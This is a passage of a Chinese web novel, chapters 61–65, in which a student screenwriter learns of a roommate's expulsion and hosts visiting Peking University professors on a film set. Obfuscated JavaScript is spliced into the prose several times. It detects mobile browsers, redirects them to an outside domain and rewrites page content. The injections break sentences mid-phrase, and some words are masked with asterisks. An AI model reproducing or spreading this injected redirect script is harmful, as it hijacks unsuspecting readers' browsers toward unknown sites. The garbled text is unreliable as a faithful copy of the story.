高远提了一杯,“忙啊,忙得我晕头转向的,都顾不上跟哥哥姐姐们聚个会了,我的错,脱离组织了,第一杯酒,敬各位。” 几位嘻嘻哈哈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他仿佛钻进了邦子的心里,去挖掘邦子那时五味杂陈的内心世界,然后稍作夸张,用生动的语言将邦子一家人的斗争场面和当时的场景栩栩如生的呈现在大家面前。 “我居然有身临其境的感觉这是怎么回事啊?”高远笑呵呵说道。 大家都绷不住了,放声大笑起来。 “别说你了,我再次听完建功的讲述,也感觉仿佛又回到了那一天。”杨迎明笑着说道。 “同感!”葛兆光端起酒杯跟高远喝了一个。 “邦子这次丢人丢大发了。”梁左单敬杨迎明。 “被开除了?”高远又问。 “那天正赶上上大课啊,全系小300号人挤在一间教室里,邦子的老婆这么一闹,全被大家看在眼里了,你想能不轰动么。” 杨迎明吃口菜后继续道:“不仅系里领导们震怒了,费主任将此事件上报给学校后,校领导们也勃然大怒,下令严查。 不查不知道,他妈一查吓一跳啊。 那孙子丧尽天良,与畜生无异。 他那农村老婆说,她带过来的五个娃娃,有两个不是她生的,老大是村里张寡妇的种,老二是丰收大队刘二妮子的孩儿,但五个孩子的爹只有一个,就是邦子。 这孙子插队八年,结过三次婚,噗噗生了五个娃。 用当地老乡的话说,他们村儿的种猪都比不上左永邦同志的效率高。” 第62章 这是要给我立金身 这是个超级无敌大渣男啊。 高远心说。 “听你们这说法,邦子的老婆闹得很厉害?” “岂止是厉害啊,那女人真豁得出去。” 梁左跟亲眼所见似的,说道:“她被请到校长办公室里,当着校长的面儿撒泼打滚,说学校如果不给她们娘儿几个一个说法,她就带着孩子们去部里告。” “那女人也真敢说,工作组问什么她就说什么,完了她还给补充细节。”葛兆光自个儿先乐了。 高远忙问道:“都说啥了?” 小查和小王脸都红了。 葛兆光嘿嘿笑道:“她跟工作组的人交代,邦子一晚上忙活我三回,**都得半个点儿,他瘾头特别大,一晚上不忙活第二天就眼圈发黑浑身没劲儿。” 杨迎明乐道:“工作组的同志根据那女人交代的情况去我们寝室进行调查,从邦子的衣柜里搜查出一本手抄版的《**》和二十多条女士内裤、胸衣来。 变态啊变态。 恶心坏我们几个了。” “搜查出《**》我不奇怪,那玩意儿只要有心不难弄到,女士内裤他从哪儿弄的?”高远很好奇。 “偷的呗,肯定不会是他自个儿花钱买的。”陈建功说道。 小查瞧瞧四周,发现无人关注,这才低声说道:“前阵子我们女生楼有同学私下里说起过,在楼顶晾晒的内衣不见了。女同学嘛,你们知道的,面子薄。 即便猜出来是被人偷了,出了这种事情也不会声张。 只是没想到啊,偷内衣的贼居然是左永邦那个看上去人畜无害的家伙。” 高远点点头,说道:“所以说,人不能只看表面啊,没人会把‘我是流氓’四个字堂而皇之刻在脑门儿上的,越是心理阴暗的人,往往掩饰得越深。” 大家点着头,很认可高远这个论断。 “然后他就被开除了?”高远又问道。 “自然得开除啊,影响力太恶劣了,校领导们最终的决定是把他退回到贵州去,上报部里得到批准后,又将其恶劣行径记入了档案,那孙子这辈子都别想考大学了。 估计想回城也难了,只能在穷山沟里聊度残生。 他是三天前走的,学校保卫处的干事们亲眼盯着他收拾的行李,又把他送出了校门。 我们几个为了避嫌,去隔壁304寝学习54号文件了,免得大家见了面都挂不住脸,不知道该说些啥。” 陈建功唏嘘了一阵。 “这么做是对的,不管咋说,咱们几个跟邦子在一个寝室里共同度过了两个多月还算美好的时光,咱们做不到热烈欢送,毕竟不是啥光彩的事情,但也不能落井下石,看他的笑话。” 高远端起酒杯又跟大家喝了一杯。 陈建功这才笑着说起了正题,“邦子的事儿传得周遭几所高校人尽皆知了,校领导们脸上挂不住,狠批了招生办的老师不说,还给系里下命令,让系里找出一个模范人物出来大肆宣传一波,尽快挽回形象。” 大家目光楚楚望着高远。 高远听明白了,脸上带着点儿惊讶指着自己的鼻子说道:“你们可别跟我说,我就是那个被系里挑选出来的模范人物。” “舍你其谁。” “你不死谁死?” “高老师,学校的声誉系于你一身,我们看好你哦。” “高远儿,加油!” 油箱漏了,我加不了油。 高远有气无力地说道:“难怪你们铺垫了那么久,合算在这里等着我呢。” “不是我们在这里等着你,是学校和系里的领导们群策群力,绞尽脑汁才想出来这个办法,讨论之后才决定把你拉下水来的。” 陈建功说完,又觉得此话不妥,遂补充道:“也不算把你拉下水来,换一个角度想,系里那么多名师集体出动,组团去为你的影片站台,对你这部电影能起到个巨大的宣传作用不说,对你树立个人形象也是大有益处的。” 梁左接茬说道:“这话没错,只要你打定主意今后要走编剧这条路,要在影视圈子里混,咱们系里这帮子大腕儿们一亮相,高老师,你的路就走宽了。” “你背后是整个北大中文系的所有名师、教授们在给你撑腰,他们在业内的地位就不用我多说了吧?”小查羡慕得不要不要的。 其他几位也都点着头。 把高远整得热血沸腾的。 又一想,亲爱的同学们说得太对了,老宝贝儿们去给我站台,都不能用利大于弊来形容了。 他们是给哥们儿送金子去的。 老宝贝儿们在北影厂溜达一圈,哥们儿这影视圈著名青年编剧的金身就算立住了。 下个剧本,北影厂好意思不涨点儿钱? 见热菜上齐,高远端起酒杯,笑得跟个二傻子一样,说:“来来来,干了这杯酒,感谢哥哥姐姐们为我答疑解惑。” “这孙子想明白了。”梁左扭头跟葛兆光蛐蛐。 葛兆光点着头,附和道:“高老师本就不傻,只是一时没转过弯来。” 陈建功笑着说道:“这么说起来,邦子才是高老师的福星啊。” 诸位一琢磨,还真是这么个理儿,都呲牙乐了。 酒过三巡,菜过五味。 大家正在跟高远聊着些最近学校里发生的趣事,梁晓声满头大汗大步走来。 “哎哟我的小爷,我可算找到你啦。” 高远看看他,云淡风轻地问道:“又有什么事儿啊?” 梁晓声一点不见外,拉了把椅子挤进来,坐下后说道:“这不刚开完会么,汪厂长见你没去,脸色可不怎么好看。 散会后他听说你回学校打探消息了,就把我派了过来,让我问问你,教授们突然去北影厂观看电影拍摄,真实目的是什么? 我这着急忙慌地来了,找了一圈,结果寝室里没你人,教室里没你人,我连图书馆都去看了,还是没找到你。 正打算回去交差,一个热心同学告诉我说,看到你们几个到这里来吃饭了……” “别展开,捞干的说。” “干的就是厂长要你个准话,教授们到底去干嘛?” 家丑不可外扬。 高远指定不能把邦子的事儿透露给梁晓声,也就没办法把教授们突然造访北影厂的真正目的说给他听。 他正犯难的时候,杨迎明笑着帮他解围道:“这不马上就到五四青年节了么,学校里要评选几名优秀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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他把酒杯接过来,又站起身,挨个跟杨迎明、陈建功、葛兆光、梁左、小查还有王晓萍碰杯,嘴里说着:“你们的感情真让人动容,大家都别客气了,要说关照,小高对我的关照更多一些。 来来来,这杯酒我敬大家,为高远能有你们这些关心他,爱护他好同学干了这一杯。” 五钱的小酒杯,梁晓声一口就灌进了嘴里。 这也是个豪爽的汉子。 302的几条好汉也不遑多让,纷纷喝干了杯中酒。 一顿饭吃到七点半就散了。 高远结了账,共花费21.5元,外加5斤菜票、肉票、粮票。 最后上的饺子。 走出长征饭庄后,梁晓声问高远道:“回招待会还是……” 高远摇摇头,说道:“我回寝室睡,今晚要跟哥哥们秉烛夜谈、抵足而眠。” 小查转转眼珠儿,把高远对她说过的话原封不动地还了回去,“睡觉前洗洗脚啊,不然可一股子咸带鱼味儿。” 你都会活学活用了是吧? 报复心这么重的吗姐姐? 冤冤相报何时了啊! 高远仰天长叹。 同志们仰天长笑。 第63章 滚一边儿去! 回到寝室,端着盆去水房洗漱过后,高远躺在床上,久久不能平静。 对面的铁架子床上铺除了个床板已经不见了人。 杨迎明说,邦子走出寝室时一步三回头泪流满面。 高远心说,想必那一刻,他心里也是极为懊悔的吧? 老话说:可怜之人必有可恨之处。 反过来,可恨之人也可怜。 思绪从邦子事件中抽离出来,高远摸出烟来散了一圈。 他盘腿坐在床上,刚把烟点着,寝室门被人敲响了。 梁左过去开的门。 赵建福笑呵呵走了进来,环视一圈,将目光投向高远,说道:“我就知道你小子今晚一定回来睡。” 见他走进来,高远忙起身,顺手递过去一根烟,笑着问道:“您这是专程找我来的?” 赵建福只比叶叔大两岁,在77级文学专业这帮家伙们前面,以“老大哥”自居。 他把烟接过来,吹口气儿,叼上。 高远擦了火柴帮他点了。 赵建福拉了把椅子坐下,抽口烟后说道:“嗯,来跟你聊两句,都知道了吧?” 老师、教授们串寝室,在这个年头太正常不过了。 课上倾心传授,课下悉心指导,特别负责任。 跟同学们交流的话题也五花八门、**。 其中,陈贻焮先生最受同学们欢迎,胖老头也最爱往寝室里钻,聊到得意时便发出爽朗的笑声。 陈铁民先生是他的助教,陪同前来,一个寝室一个寝室地转过去,往往要花费一整晚时间。 但这样不拘形迹的课外辅导却让同学们如沐春风、获益良多。 高远一看就知道赵老师今晚不是来闲聊的,听了他的问话,他点着头,说道:“知道了,几位老兄都跟我说过了。老师,我有哪些需要特别注意的事项吗?” 他门儿清,赵老师专程跑一趟,是来叮嘱自己两句的。 听他主动询问,赵建福欣慰一笑,道:“别紧张,你就当做是一次老师、教授们对你学业的综合考察。” “这么说来,优秀青年评选那事儿是真的?” “是真的,学校今年第一次举办校级‘优秀青年’评选活动,旨在树立**进步、品德高尚、品学兼优的优秀青年典型,反映当代青年的精神品格和价值追求。 参评条件是共青团员,为班级、系里乃至于学校做出过突出贡献者。 当选了,学校会颁发优秀青年奖章,并会记入档案。 咱们系原本定的就是你,老师、教授们对你也很认可,但没打算去北影厂看你拍戏。 谁知道出了左永邦这么一档子事儿,传得沸沸扬扬,让系里丢了回人,学校领导们也颜面无存。 学校领导和几位教授一商量,不能任由这件事情继续发酵下去了,对北大的声誉影响力太坏。 得立刻树立起一个优秀青年典型人物来挽回学校的声誉。 挑来挑去,你们77级全体同学中,小有成就,并且得到外界认可的也只有你了。 适逢你又在北影厂协助剧组拍摄电影,教授们便决定,亲自去一趟,帮你加加油,打打气。 顺便,呵呵…… 到时候会有报社记者随行,会给你做一个采访。” 他不说还好,一说有记者跟着,高远更惶恐了。 两辈子加一块儿都没接受过记者的采访。 当然他也清楚,这是出于宣传、正名的需要。 深吸一口气,缓缓吐出来,高远挣扎了一下,说道:“采访就不必了吧,也没做出太大的成绩来。” “必须要接受采访,这是校领导和系领导共同作出的决定,没条件可讲。”赵建福根本不松口。 见高远诚惶诚恐苦笑连连,其他几位同学都一副看热闹不嫌事的臭德行。 他温和一笑,道:“你也不要紧张,明天的北影厂之行就是一个座谈会的形式,老师和教授们也会去深入剖析你这个剧本的优劣,你就简单谈一谈创作初衷,和剧本内核展现出哪种精神便可以了。 记者们问你的问题也是经过教授们审核过的。 对了,我给你带过来了,偌,你先看看题目,打个腹稿吧。” 高远把赵建福递过来的纸接了,看一眼纸张上罗列的四个问题,嘿嘿笑道:“老赵,您干脆把正确答案一并给我不完了,我连夜背背,保证回答的让记者们挑不出一点毛病来。” 一句话气得赵建福想踹他。 他站起身往外走,义正言辞:“学术是不能**的!自个儿好好想想该怎么回答吧,谨慎一些,别出了岔子。” 走到寝室门口,赵建福又转过身来,说:“明天你早些回北影厂等着,老师、教授们大概九点钟到。” 高远连忙说好,目送他离开。 梁左凑过来,笑嘻嘻说道:“给我看看都问你些啥。” 高远瞥他一眼,“滚一边儿去。” 梁左嘁了一声,跟醋溜白菜似的说道:“高老师要成名人了,瞧不上我们这些患难与共的阶级弟兄了。” 高远呼地站起来,双手掐住那货粗短的脖子,狠狠摇晃着,“吃了兄弟的,喝了兄弟的,不记兄弟的好,还他妈污蔑兄弟,我他妈恁死你!” 梁左翻着白眼儿耷拉着舌头做吊死鬼状。 302立马爆发出一阵掀翻屋顶的哄堂大笑来。 隔天又是个大晴天儿。 高远一早就被梁左喊醒了。 他看看闹钟,才六点半,又看看精神抖擞的梁同志,问道:“你怎么比我还兴奋?” 梁左嘿嘿笑道:“那啥,高老师,带我一个行不行?” “你想跟我一起去?” “想啊,做了一晚上梦……不是,主要是想亲眼见证高老师的风采和事业辉煌的开始。” 这马屁拍的,也是盖了帽了。 高远琢磨琢磨,带个小弟也挺有面子,但还得抻抻他,便说:“带你一个倒也不是不行。” 梁左立马腆着脸道:“有啥条件,您随便提。” 这个货是那种面对不熟悉的人十分冷漠,在自己人面前贼鸡儿放飞的类型。 “包我一礼拜早餐。” “你又不常来。” “你自个儿不会数日子吗?就说答不答应吧。” 梁左咬咬牙,点头说道:“成!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402244|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >高远一咕噜爬起来,趿拉着拖鞋走到衣柜子前,找出一件的确良白衬衣,一条绿军裤穿上,尼龙丝袜子往脚上一套,蹬上三接头大皮鞋。 瞬间像个老干部。 他想了想,又觉得不妥,遂将三接头脱下来,又放回到格子衣柜里,上了锁。 不上锁不行,梁左和建功盯这双鞋有段日子了,不上锁,他俩真敢你一天我一天轮番糟践它。 直到把它糟践得身残体破、面目全非。 他又从床底下拿了双黑面红底儿的布鞋来穿上,跺跺脚。 嗯,这才符合新时代大学生的精神面貌。 三接头太张扬了。 不过尼龙丝袜子穿在脚上很别扭。 这袜子是带格子的,蓝色,脚后跟那块儿凸出来,有弹性但不吸汗,穿一天就打出溜滑,跟踩在一滩水上似的。 就这么一双袜子,也要两块多钱一双,寻常百姓不舍得买,大多穿布袜,就是有两根带子,系在脚脖子上那种。 后世讲究穿纯棉,这会儿正相反,棉织品便宜,合成纤维反而贵。 比如说高远身上这件的确良,就是涤纶的。 也不吸汗,但穿上确实帅。 穿戴整齐,高远端着盆去水房洗漱。 梁左像个痴汉一般尾随。 两人洗漱完毕,把洗脸盆、刷牙缸子等物送回宿舍,在几位依依不舍的目光中大步前行。 楼下,苏牧见两人出来了,迎上前,“高老师,算我一个呗。” 高远乐了,都是认真好学的好同志啊,“一礼拜早餐。” 苏牧点头说:“没问题。” “走着。” 三人蹬着自行车出了校门,先找了家早餐店一人来一碗卤煮,吃完后直奔北影厂而去。 到了剧组,王好为拽着高远连声问道:“老师们几点到?有没有说过要看什么?需要剧组怎么配合?” 高远一打眼儿,包括厂长汪阳,一个副厂长,几名行政骨干都出现在拍摄现场。 见他到了,汪厂长也走过来,笑呵呵对王好为说道:“你就别为难小高了,不是跟你说过了么,教授们过来,是检查高远作业的,你们按照拍摄计划进行就成,没必要搞得精神紧张。” 高远也笑着宽慰王好为道:“厂长说得对,导演,按拍摄计划进行吧,拍完后开个座谈会,简单跟老师们交流一下,到时候还得麻烦您多夸我两句。” 王好为松了口气,一乐,说道:“你不知道,从昨晚到刚才,我紧张的要死,面对这么多的文坛大家,生怕拍摄过程中出点差错被先生们看了笑话。 你这么一说我就明白了,敢情先生们这是对你进行考察来了。 你小子说,是不是有啥好事儿要落到你头上啊,要不然,先生们至于如此兴师动众的么。” 高远笑而不语。 梁左笑着说道:“导演猜中了,我们学校要举办优秀青年评选活动,高老师作为我们中文系的优秀青年代表被系领导相中了。 这不,领导们在向学校正式推荐高老师之前,要先对他进行一轮考核么。 所以就组团来咱们北影厂现场参观了。” 第64章 老师们今天很调皮 原来这样。 老师们过来,说穿了就是给高远站台的。 大家都不傻,稍微一过脑子就判断出那几位文坛大家过来的目的。 汪阳看着高远,心说这个小家伙儿要涨身价了,有几位德高望重的老先生当他的靠山,这孩子若能保持现在的水准继续创作下去,将来的前途不可限量。 高远把梁左和苏牧介绍给厂长、导演、演职人员们认识,说他俩是过来学习的。 王好为端详着梁左,问道:“你母亲是谌容同志吧?” 梁左挠头笑着说:“王导好,没错,我母亲是谌容。” “难怪我看你这孩子眼熟,欢迎你来剧组玩,也代我问你母亲好。” “谢谢王导,您的话我会带到的。” 高远对苏牧说:“看到没,这就是星二代和普通从业者之间的差别。” 苏牧想了想,说:“星二代的意思是,明星的第二代子弟,是吧?” 拍拍他的肩膀,高远说道:“年轻人,理解能力很强啊。” “我比你大好吧。” “你我大也得请吃饭。” “诶这事儿肯定变不了,你就别一个劲儿总强调了。” 距离九点差几分钟的时候,汪阳带着几名骨干下了楼,去厂门口迎接吴组缃一行人。 高远自然得跟着去。 他有点儿激动,虽然也知道先生们过来的目的不那么单纯,但更清楚自己得到的利益是实实在在的。 三辆老款伏尔加缓缓停靠在马路边。 高远透过车窗看到了吴组缃先生和江南之先生坐在后排。 他没着急过去,见汪阳走上前,方才跟在汪厂长身边缓步向前。 汪阳瞥他一眼,愈发满意了。 嗯,小伙子还挺懂礼数,知道不能喧宾夺主。 虽说先生们是为你而来,但在北影厂这一亩三分地儿上,我才是真正的主人。 他拉开了车门。 吴组缃先生率先走了下来,紧接着是江南之先生和费振刚。 “吴老、南老、费主任,欢迎各位老师来北影厂视察指导工作啊。”汪阳跟三位挨个握了手,热情地寒暄道。 “汪厂长,好久不见了啊,我们这几把老骨头可不是来视察工作的,更谈不上指导工作。 只是听闻我系学生高远这孩子写了个剧本被贵厂改编成了电影,正在进行拍摄工作,老家伙们与有荣焉,深感欣慰,好奇心一起,就跑过来观摩观摩。 若是给你们的日常工作造成影响,我们就心生愧疚了。” 组缃先生诚挚地说道。 几名一同前来的报社记者跑上前来,端着照相机对准众人咔咔拍照,记录下这激动人心的一幕。 “吴老您言重了,您几位可是我们请都请不来的文坛巨匠,几位的到来,让北影厂蓬荜生辉。” 江南之呵呵一笑,说道:“老汪你这话是在说我们几个架子大吗?还请都请不来,我们俩这才几天没见啊,你忘了前阵子那《大河奔流》的本子还是我帮你修改的?” 汪阳老脸一红,又握住江南之的手,笑道:“当着记者同志们的面,您老可不能挑我的语病。得,我说错了还不成?您老别介意。” 江南之笑笑,揭过这一茬,冲高远招手道:“你小子过来,咋,还等老头子三请四邀啊。” 高远忙走上前,冲几位老师打个千儿,嬉皮笑脸道:“学生高远问老师们安。” 乐黛云一指头就戳到了他脑门子上,“没个正形的玩意儿。” 王瑶赶忙扶了一把,说:“哎哟,使不得使不得,高老师这礼行得太重了,我们何德何能,诚惶诚恐啊,您请起,请起。” 老师们今天有点儿调皮啊。 诚惶诚恐的该是我吧。 高远简直哭笑不得,张了张嘴,他说道:“王老……” “你最好把那个‘师’字带上!” “好的,王老师,我亲爱的王老师啊,您就别拿学生当礼拜天儿过了成吗?同学们开开玩笑也就算了,被您喊老师我是不打算毕业了吗?” 大家这个笑啊,一个个跟花瓜似的。 王瑶也笑得不行了,扭头对江南之说道:“南老,您对这孩子的评价太正确了,他聪明是真聪明,上进心也强,就是这张破嘴忒不饶人了,可别被他抓住你的话把儿,不然他嘚啵嘚,嘚啵嘚,喷一阵唾沫星子就把你辩得哑口无言。” 江南之得意地点着头,说道:“我挑的**人嘛,能言善辩是最基本的素质。” 费振刚也点点头,说:“高远这点深得您老真传。” 高远有点儿懵,**人,什么**人啊? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402245|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梁左关键时刻给了他一肘子,低声道:“别慎着了,赶紧去扶你家先生一把,那么大岁数了,站一会儿不累啊。” 苏牧也提醒道:“快去尽孝。” 高远这才反应过来,忙走到江南之身边,搀着老爷子的胳膊,美得都冒鼻涕泡了,说:“先生,我搀着您,咱不着急,慢慢走,您留意点儿脚下。” 江南之拍拍他的手背,又对汪阳说道:“老汪,我这个关门弟子,你可得多关照些。” 汪阳脸上笑嘻嘻,心里妈卖批,心说我不知道小高是你的关门弟子啊。 后一琢磨,明白过味儿来,这几个老家伙在我的地盘上跟我演戏呢,演得还挺像那么回事儿。 从高远错愕的表情上看,这关门弟子怕也是临时起意收下的吧? 哎呀,老同志们呐,你们的演技达标了,殊不知,高远这小伙子刚才的表情却将你们出卖得一干二净。 再者说,就算高远不是你南老的关门弟子,我也没亏待过他啊。 这么一想,汪阳乐了,边走边说:“南老放心就是了,小高表现得很棒,在剧组里勤勤恳恳、任劳任怨,不仅做好了本职工作,也帮了导演很大忙。 他现在已经是剧组的编外副导演了,凭借着对戏中人物的熟悉度,给演员同志们讲戏,加快了影片的拍摄进度,也赢得了演员同志们的一致好评。 就算没我关照,他也如鱼得水。” 江南之闻言看看高远,“这事儿你可没跟我说过。” 其他几位老师也都感到惊奇,这小子成副导演了,还给演员们讲戏,听汪厂长的意思,演员们对他还挺信服,艺术天分这么高吗? 高远咧嘴一笑,道:“一来是因为剧组忙,我都一个多月没回学校了;二来,就算抽时间回去上课,也没好意思贸然打扰您。 再说这也不是啥多不得了的事情,我这个副导演就是挂个名,主要是想跟在王导身边多学点东西。 至于说给演员同志们讲戏,那是因为故事中的角色是我塑造的,我对角色理解得比较深刻一点吧。 大家也给面子,不论我说对还是说错,都挺捧着我的。” 江南之点着头,说:“跟剧组的同事们处理好关系,这点对一名编剧来说至关重要,你做得不错。” 第65章 郑导把高远恨上了 一行人来到剧组,受到了王好为导演和众位演职人员的热情接待。 吴组缃先生让大家继续拍摄,不要因为他们的到来耽误了工作。 王好为说好,招呼大家开工。 在老胡家还剩最后一组镜头。 这段剧情讲的是,嘉奇和小红约会后回到家,偷摸把一朵月季花**花盆中,被他爸发现了,这花是老胡种的,他见不成器的儿子把花拔了,又**花盆企图蒙事,拿着花走到他房间门口。 做贼心虚的胡嘉奇耳朵竖得像天线,站在门口听外面的动静,听到脚步声,他开了门,父子俩之间的一场针锋相对。 大概是因为有老师教授们在场的缘故,陈佩斯肉眼可见地紧张起来。 连走两遍戏都没找到之前的节奏。 看得王好为直皱眉头。 郑导不知道哪根筋搭错了,喊停后冲陈佩斯招招手,说道:“嘉奇你过来,我给你讲讲戏。” 陈佩斯急忙走过来。 “你那个神态就不对,完全没有了之前那股机灵劲儿,这段儿讲的是父子之间的冲突,你首先得把做了坏事后怕被人发现而心里不安的状态表现出来,神态上面得有些变化,然后才是跟你爸的对话,心虚又理直气壮的样子。 懂了吗?” 没懂。 陈佩斯有点儿懵,想了想后他问道:“那郑导觉得我该怎么展现这个神态变化才更合适啊?” 郑导继续现场教学,“你看我,首先,耳朵贴在房门上,眼珠子转起来,鬼鬼祟祟的样子,还有,屏气凝神,听到脚步声传过来后立马打开门,然后咧嘴笑,要笑得尴尬点儿。” 他边说边演示,在众人都给看乐了。 李健群绷不住,对高远说道:“什么啊这都是?就没见过这么讲戏的。” 乐黛云问高远,“平时不都是你小子给演员们讲戏吗?” 高远多少能揣摩出一点郑导的心思来,他这是见来了不少大腕儿,挣表现呢。 也不点破,高远笑着说:“郑导是前辈,给演员讲戏很正常啊。” 乐黛云啧了一声,说:“这戏讲的,稀碎。” 其他几位老师看得也直摇头。 江南之低声说道:“不接地气儿,太深,他说的那些,那位演员同志似乎听不懂啊。” 高远也看出来了,郑导越说佩斯越迷糊。 但他这时候是不好插嘴的,接过话茬来就把老郑给得罪了。 郑导见陈佩斯一脸茫然,他有点着急了,“我哪句话你听不懂啊?还是我做的示范你看不懂?好好揣摩揣摩不行吗我的同志,学都学不会,后面的戏你怎么拍?” 陈佩斯尴尬笑着,说:“要不,我再试一遍吧。” 郑导蹙着眉头摆摆手,示意陈佩斯走人,扭过头对王好为说道:“导演,再试一遍吧。” 王好为面无表情地点点头。 郑导喊道:“来,再试一遍啊,《瞧这一家子》第61镜,开始!” 陈佩斯回到门后面,按照郑导的要求,把耳朵贴在房门上做倾听状,接着开始转眼珠子,俩眼珠子转得那叫一个滑稽。 高远实在忍不住了,开口说道:“什么玩意儿啊这是?胡嘉奇你过来。” 他以后世的眼光看这个年代的表演方式,怎么看怎么别扭。 演员的表演太僵化且太程式化了,他看着闹心,特想注入点新鲜东西,也就顾不上得不得罪人了。 听到高远的招呼,那个货眼睛一亮,答应一声后弓着腰小跑过来,跟狗奴才似的。 “高导儿您说,我听着呢。”他笑得很猥琐。 郑导的脸色乌云密布,以前之所以在高远给演员讲戏的时候他表现出一副谦虚好学的样子来,是因为高远讲得确实好,自己能跟高远学到东西。 他深谙学到手的东西才是自己的这个道理。 自认为听高远讲了那么多表演方面的技巧了,已经偷师成功,又赶上北大中文系的大佬们登门造访,他就想展现一次,也好让大佬和厂领导们看看我的本事。 为将来有机会单独执导一部电影铺垫铺垫。 没成想,自个儿又是深刻解读故事内容,又是声情并茂地亲自示范,陈小二还是理解不了。 结果高远看不下去了,当着众人的面玩了出现场教学。 显你水平高是吧? 你这不是诚心让我丢人现眼吗? 他把高远恨上了。 高远可不管他怎么想,他伸手拍打着陈佩斯的双颊,一副怒其不争的样子说道:“松弛!松弛!我跟你强调过多少次了,别整那些太深的玩意儿,你的表演技巧到不了那个水平! 也别上什么技巧,你现在想一想,小时候偷吃邻居家石榴被邻居王大爷发现后是什么心情?” “紧张。” “然后呢?” “怕挨揍。” “还有吗?” “撒丫子就颠儿。” “王大爷把你偷石榴吃这事儿告诉老爷子了。” 陈佩斯恍然大悟,“爸,您别生气啊,我错了,下次不敢了。” 高远瞪他一眼,“记住这个感觉,一会儿用得上,去吧。” “诶,好的。”他颠儿了。 吴组缃和江南之对视一眼,皆看出彼此眼中的惊讶。 乐黛云和王瑶也在对视。 王瑶轻笑道:“这小子可以啊,有点儿东西,这么讲戏的我还是头一回见到。” “没啥大道理,用最通俗易懂的话引导、调动演员的情绪使其入戏,我也是头回见,不过效果是显而易见的,您瞧,那位演员的表演自然了很多。”乐黛云夸了高远几句后,一努嘴。 王瑶看过去,果然,陈佩斯的表演自然流畅了起来。 王好为也很满意陈佩斯这一遍的效果,“好,嘉奇,就按照刚才的表现演。各部门注意了,咱们正式开拍,场记,打板儿!” 场记拿着板儿吆喝道:“《瞧这一家子》第61镜,开始!” 状态回归的陈佩斯发挥得非常出色,几乎一点表演的痕迹都看不出来了。 为了稳妥,王好为还是保了一条。 这条过了后,在老胡家的所有戏份彻底拍摄完成了。 众人啪啪鼓掌。 陈佩斯喜不自胜,撩起衬衣下摆擦擦汗,笑着走过来,对高远说道:“还得是你啊,要不然哥哥今天可丢大人了。” 郑导演目光似电看过来。 高远微微一笑,道:“刚才怎么回事?” 陈佩斯看看各位老师,不好意思地挠着头说:“阵仗太大了,老师们在,我心里突突跳,没放开。” 吴组缃等人都笑了起来。 江南之拍拍陈佩斯的胳膊,称赞道:“演得不错,老陈,你这个儿子很有表演天分。” 陈强走过来,眯眼一笑,说:“南老过奖了,他才入行几年啊,拍这部戏之前只演过一个宋兵乙,他还差得远着呢。” “跟你这种演了半辈子戏的老家伙是没法比,但在年轻人里面,二子算是出类拔萃的了,一点就通啊。”吴组缃也夸了一句。 “那是因为小高教得好,他这身本事,是小高一点一点给磨出来的。”老爷子一点都不贪功。 王好为也说道:“陈老这话没错,老师们教出来一个非常优秀的学生啊,小高到剧组后,给我们帮了太多忙了,尤其是在给演员们说戏这方面,他知识储备之全面,对表演方式独特的见解,别说演员同志们了,连我这个导演都自愧不如。” 高远忙谦虚道:“老师们过奖了。” 江南之望向高远的目光…… 怎么说呢? 有一种得徒如此足慰平生的味道。 这时候,汪阳笑着说道:“各位老师、教授们,请大家移步会议室吧,咱们去座谈座谈。” 吴组缃笑道:“好,去会议室坐下来聊聊。” 高远挽着江南之的胳膊,跟随众人出了门,下楼去主楼会议室。 会议室早已布置完毕,两排三抽桌遥遥相对,桌面上摆放着带把的白茶杯。 大家走进去落座后,刘小庆、张金玲、李健群一人拎一把暖瓶,给众人倒上水。 乐黛云瞧一眼李健群,笑着说:“这姑娘真俊。” 高远嘿嘿笑道:“好看吧,我也觉得好看。” “瞎说什么呢你?”瞪他一眼,姑娘红着脸对乐黛云说:“老师请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402246|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喝茶。” 乐黛云接过茶杯道声谢,又笑眯眯打量二人一番,咂摸出点儿味道来,见李健群转身走了,她低声问高远道:“看上那姑娘了?” 高远也小声蛐蛐:“您目光如炬。” 乐黛云扭头儿就跟王瑶八卦起来,“年轻人向往爱情呢。” 